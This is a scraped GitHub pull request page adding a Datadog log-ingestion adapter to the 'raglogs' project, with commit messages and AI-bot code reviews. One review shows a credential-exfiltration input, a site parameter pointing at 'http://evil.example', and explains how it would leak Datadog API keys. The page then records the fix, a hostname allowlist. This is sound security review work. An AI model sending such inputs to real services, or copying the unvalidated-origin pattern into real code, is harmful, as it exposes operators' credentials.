feat: Datadog log adapter for ingestion by leo-aa88 · Pull Request #32 · LAA-Software-Engineering/raglogs

leo-aa88 · 2026-08-16T08:54:40Z

Closes #1.

Adds a Datadog pull adapter so operators can ingest a bounded time window from the Logs Search API into the existing pipeline (normalize → fingerprint → Postgres) without exporting files.

How it works

New DatadogSourceAdapter in src/adapters/datadog/ implements the same SourceAdapter contract as CloudWatch (discover / read).
CLI: raglogs ingest --adapter datadog --param query='service:api status:error' --since 1h
API: POST /ingestions with "adapter": "datadog" (query defaults to *).
Auth via env only: DATADOG_API_KEY + DATADOG_APP_KEY (never CLI --param). Site, page size, and max rows are also configurable.
Each Datadog v2 event is mapped onto the existing JSON aliases (timestamp, message, level from status, service, env, host, trace_id, request_id) so core parsing stays source-agnostic.

Limits (documented in README / `.env.example`)

Page size max 1000 (Datadog API hard limit); default 1000.
Max rows per run default 10000; hitting the cap saves the next cursor for --resume-job.
Cursor pagination via meta.page.after; absolute from/to window (relative ranges drop events while paginating).
HTTP 429 / 5xx retried 3 times with exponential backoff; persistent failure is ADAPTER_UNAVAILABLE (or partial: true if some events already landed).

Config

All settings env vars dropped the RAGLOGS_ prefix (DB_URL, OPENAI_API_KEY, DATADOG_API_KEY, …).

Tests

Unit tests mock the httpx boundary (pagination, resume cursor, max-rows cap, 429 retry vs 403, field mapping through parse_json_line). /health reports Datadog unavailable when keys are missing.

Operators can ingest a bounded Datadog window through the existing SourceAdapter pipeline instead of exporting files first. Events are mapped onto the JSON field aliases so core parsing stays source-agnostic. Co-authored-by: Leonardo <leo-aa88@users.noreply.github.com>

Co-authored-by: Leonardo <leo-aa88@users.noreply.github.com>

cursor · 2026-08-16T08:56:31Z

Bugbot is not enabled for your account, so this pull request was not reviewed.

Enable Bugbot in the Cursor dashboard to get automatic reviews on future PRs.

CI flake8 --select=F82 treats a quoted forward-ref return type as an undefined name. Drop the annotation so the helper matches the CloudWatch tests. Co-authored-by: Leonardo <leo-aa88@users.noreply.github.com>

Drop the ADAPTER_ segment so keys match RAGLOGS_OPENAI_* rather than RAGLOGS_ADAPTER_DATADOG_*. Co-authored-by: Leonardo <leo-aa88@users.noreply.github.com>

cursor · 2026-08-16T17:47:09Z

Code review

Closest of the three adapter PRs to the CloudWatch pattern: env-only keys (RAGLOGS_DATADOG_*), map onto existing JSON aliases, cursor pagination, 429/5xx + tenacity, /health, tests at the httpx boundary.

No ingest-correctness blockers. Mapping, absolute from/to, page.limit = remaining at max_rows, and resume-cursor behavior match the Datadog Search API. I would merge this first after the site restriction below.

Suggestions

params.site accepts a full URL and then sends API keys there. api_base_url() passes http:// / https:// origins through. POST /ingestions with "params": {"site": "http://evil.example"} exfiltrates DD-API-KEY / DD-APPLICATION-KEY. Restrict site to Datadog hostnames (datadoghq.com, us3.datadoghq.com, …).
Enqueue succeeds with no keys — discover() defaults query to * and skips check_available(). Same as CloudWatch, but a local key check at enqueue would fail faster.
Nested custom attributes other than env/trace/request_id are dropped. Intentional for source-agnostic parsing; worth a README note that evidence will not see the rest of the Datadog envelope.

Env naming matches RAGLOGS_OPENAI_*. Do not rename CloudWatch in this PR (unlike #31).

Merge note

#31 / #33 will conflict on registry, CLI, API, README, and tests. Land this, then rebase those.

cursor · 2026-08-16T17:47:21Z

+            _int_param(spec.params, "page_size", self.page_size)
+        )
+        max_rows = max(1, _int_param(spec.params, "max_rows", self.max_rows))
+        site = spec.params.get("site") or self.site


Per-request site is reasonable for us3 / eu, but it feeds api_base_url() which currently accepts any origin. If you keep this override, validate it is a Datadog site hostname before storing it on the stream ref.

cursor · 2026-08-16T17:47:21Z

+    if not site:
+        site = "datadoghq.com"
+    if site.startswith("https://") or site.startswith("http://"):
+        return site


Suggestion: a full http:// / https:// origin is passed through. Combined with discover() copying params.site (line 250) and _headers() attaching DD-API-KEY / DD-APPLICATION-KEY, POST /ingestions with "params": {"site": "http://evil.example"} exfiltrates credentials.

Restrict site to Datadog hostnames (datadoghq.com, us3.datadoghq.com, datadoghq.eu, …), not arbitrary URLs.

Settings now read DB_URL, DATADOG_API_KEY, OPENAI_API_KEY, and the rest without a project prefix, matching how .env files are typically written. Co-authored-by: Leonardo <leo-aa88@users.noreply.github.com>

api_base_url used to pass through arbitrary http(s) origins, so a params.site override could send API keys off-Datadog. Canonicalize to https://api.<known-site> and reject anything else at discover time. Co-authored-by: Leonardo <leo-aa88@users.noreply.github.com>

Resolve conflicts from the RAGLOGS_ prefix removal (#34) while keeping Datadog env vars, docs, and adapter settings. Co-authored-by: Leonardo <leo-aa88@users.noreply.github.com>

Keep both adapters in the registry, CLI, API, README, and unit tests so this PR can land after #32 without re-conflicting on shared files. Co-authored-by: Leonardo <leo-aa88@users.noreply.github.com>

Keep file, CloudWatch, Datadog, Loki, and k8s adapters in the shared registry/CLI/API/tests so this PR no longer conflicts with #31 or #32. Co-authored-by: Leonardo <leo-aa88@users.noreply.github.com>

cursor · 2026-08-16T18:07:45Z

Re-review (follow-up)

The params.site credential-exfil issue is fixed. normalize_site() allowlists known Datadog hostnames, rejects http://, and discover() / the constructor / POST /ingestions all fail closed (test_api_base_url_rejects_non_datadog_origins, test_400_for_datadog_non_datadog_site). CI is green.

No remaining blockers. This is the cleanest of the three adapter PRs to land first.

Suggestions (non-blocking)

Enqueue still 202s with no API keys (discover() does not call check_available()). Same as CloudWatch; a local key check at enqueue would fail faster.
Nested Datadog attributes other than env/trace/request_id are still dropped — fine for source-agnostic parsing; a README note is enough.

Keeps ADAPTER_CLOUDWATCH_REGION (current main). #31 renames that to CLOUDWATCH_REGION — rebase Loki onto this, not the other way around, if both merge.

cursoragent and others added 3 commits August 16, 2026 08:54

Annotate Datadog test helper return type

14efadc

Co-authored-by: Leonardo <leo-aa88@users.noreply.github.com>

Wrap long lines in the Datadog adapter

eb30195

Co-authored-by: Leonardo <leo-aa88@users.noreply.github.com>

leo-aa88 marked this pull request as ready for review August 16, 2026 08:56

cursoragent and others added 2 commits August 16, 2026 17:40

Fix flake8 F821 on Datadog test helper annotation

b55ff4a

CI flake8 --select=F82 treats a quoted forward-ref return type as an undefined name. Drop the annotation so the helper matches the CloudWatch tests. Co-authored-by: Leonardo <leo-aa88@users.noreply.github.com>

Rename Datadog env vars to RAGLOGS_DATADOG_*

3e8b15a

Drop the ADAPTER_ segment so keys match RAGLOGS_OPENAI_* rather than RAGLOGS_ADAPTER_DATADOG_*. Co-authored-by: Leonardo <leo-aa88@users.noreply.github.com>

This was referenced Aug 16, 2026

Add Loki source adapter for bounded-window ingest #31

Merged

feat: Kubernetes log export ingestion #33

Merged

cursor Bot reviewed Aug 16, 2026

View reviewed changes

cursoragent and others added 3 commits August 16, 2026 17:49

Drop the RAGLOGS_ prefix from all environment variables

40ccfbe

Settings now read DB_URL, DATADOG_API_KEY, OPENAI_API_KEY, and the rest without a project prefix, matching how .env files are typically written. Co-authored-by: Leonardo <leo-aa88@users.noreply.github.com>

Merge origin/main into Datadog adapter branch

ab2bfa2

Resolve conflicts from the RAGLOGS_ prefix removal (#34) while keeping Datadog env vars, docs, and adapter settings. Co-authored-by: Leonardo <leo-aa88@users.noreply.github.com>

leo-aa88 merged commit b0be8b1 into main Aug 16, 2026
1 check passed

leo-aa88 deleted the cursor/datadog-log-adapter-4f21 branch August 16, 2026 18:10

Navigation Menu

Repository navigation

feat: Datadog log adapter for ingestion - #32

feat: Datadog log adapter for ingestion#32
leo-aa88 merged 8 commits into
mainfrom
cursor/datadog-log-adapter-4f21

leo-aa88 commented Aug 16, 2026 •

edited by cursor Bot

Loading

Uh oh!

cursor Bot commented Aug 16, 2026

Uh oh!

cursor Bot commented Aug 16, 2026

Uh oh!

cursor Bot Aug 16, 2026

Uh oh!

cursor Bot Aug 16, 2026

Uh oh!

cursor Bot commented Aug 16, 2026

Uh oh!

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

2 participants

Conversation

leo-aa88 commented Aug 16, 2026 • edited by cursor Bot Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

How it works

Limits (documented in README / .env.example)

Config

Tests

Uh oh!

cursor Bot commented Aug 16, 2026

Uh oh!

cursor Bot commented Aug 16, 2026

Code review

Suggestions

Merge note

Uh oh!

cursor Bot Aug 16, 2026

Choose a reason for hiding this comment

Uh oh!

cursor Bot Aug 16, 2026

Choose a reason for hiding this comment

Uh oh!

cursor Bot commented Aug 16, 2026

Re-review (follow-up)

Suggestions (non-blocking)

Uh oh!

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

2 participants

leo-aa88 commented Aug 16, 2026 •

edited by cursor Bot

Loading

Limits (documented in README / `.env.example`)